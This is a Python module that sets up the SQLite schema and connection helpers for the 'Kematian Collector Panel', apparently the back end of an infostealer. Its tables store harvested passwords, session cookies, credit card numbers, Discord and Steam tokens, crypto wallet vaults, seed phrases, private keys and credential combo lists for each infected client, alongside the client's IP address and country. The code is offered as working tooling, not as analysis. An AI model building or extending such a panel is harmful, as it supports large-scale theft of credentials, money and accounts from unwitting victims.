""" Kematian Collector Panel - SQLite schema and access layer. Every category from the agent's CollectionResult gets its own table, all keyed to a client row. Lookups are done through this module so the web templates stay clean and the ingest endpoint stays idempotent. """ import os import sqlite3 import threading DB_PATH = os.path.join(os.path.dirname(__file__), "kematian.db") _lock = threading.Lock() SCHEMA = """ CREATE TABLE IF NOT EXISTS clients ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL UNIQUE, os TEXT, arch TEXT, version TEXT, ip TEXT, country TEXT, user_agent TEXT, first_seen INTEGER, last_seen INTEGER, total_entries INTEGER DEFAULT 0 ); CREATE TABLE IF NOT EXISTS passwords ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, url TEXT, username TEXT, password TEXT, browser TEXT, profile TEXT ); CREATE TABLE IF NOT EXISTS cookies ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, host TEXT, name TEXT, value TEXT, path TEXT, secure INTEGER, http_only INTEGER, expires_utc INTEGER, browser TEXT, profile TEXT ); CREATE TABLE IF NOT EXISTS autofill ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, name TEXT, value TEXT, date_created INTEGER, browser TEXT, profile TEXT ); CREATE TABLE IF NOT EXISTS history ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, url TEXT, title TEXT, visit_time_unix INTEGER, visit_count INTEGER, last_visit_time INTEGER, browser TEXT, profile TEXT ); CREATE TABLE IF NOT EXISTS bookmarks ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, name TEXT, url TEXT, type TEXT, browser TEXT, profile TEXT ); CREATE TABLE IF NOT EXISTS credit_cards ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, name_on_card TEXT, expiration_month INTEGER, expiration_year INTEGER, card_number TEXT, nickname TEXT, browser TEXT, profile TEXT ); CREATE TABLE IF NOT EXISTS discord_tokens ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, token TEXT, source TEXT ); CREATE TABLE IF NOT EXISTS files ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, path TEXT, name TEXT, ext TEXT, size INTEGER, modified INTEGER, dir TEXT, tags TEXT ); CREATE TABLE IF NOT EXISTS extensions ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, ext_id TEXT, name TEXT, version TEXT, browser TEXT, profile TEXT, path TEXT, category TEXT ); CREATE TABLE IF NOT EXISTS wallets ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, name TEXT, type TEXT, path TEXT, files INTEGER, size INTEGER, addresses TEXT, vault_data TEXT ); CREATE TABLE IF NOT EXISTS telegram ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, account TEXT, path TEXT, files INTEGER, size INTEGER ); CREATE TABLE IF NOT EXISTS keys ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, type TEXT, name TEXT, path TEXT, size INTEGER, content TEXT ); CREATE TABLE IF NOT EXISTS app_credentials ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, application TEXT, host TEXT, port INTEGER, username TEXT, password TEXT, protocol TEXT, extra TEXT ); CREATE TABLE IF NOT EXISTS seeds ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, source TEXT, path TEXT, phrase TEXT, words INTEGER ); CREATE TABLE IF NOT EXISTS gaming ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, platform TEXT, payload TEXT ); CREATE TABLE IF NOT EXISTS steam_tokens ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, steam_id TEXT, token TEXT ); CREATE TABLE IF NOT EXISTS vpns ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, vpn TEXT, payload TEXT ); CREATE TABLE IF NOT EXISTS admin ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL UNIQUE, password_hash TEXT NOT NULL ); CREATE TABLE IF NOT EXISTS blobs ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, category TEXT, name TEXT, filename TEXT, size INTEGER, created INTEGER ); CREATE TABLE IF NOT EXISTS abuse_checker ( id INTEGER PRIMARY KEY AUTOINCREMENT, client_id TEXT NOT NULL, filename TEXT, wordlist TEXT, mailpass TEXT, combos TEXT, check_type TEXT, time INTEGER ); """ def get_conn(): conn = sqlite3.connect(DB_PATH) conn.row_factory = sqlite3.Row conn.execute("PRAGMA journal_mode=WAL") conn.execute("PRAGMA foreign_keys=ON") return conn def init_db(): with _lock: conn = get_conn() try: conn.executescript(SCHEMA) conn.commit() finally: conn.close()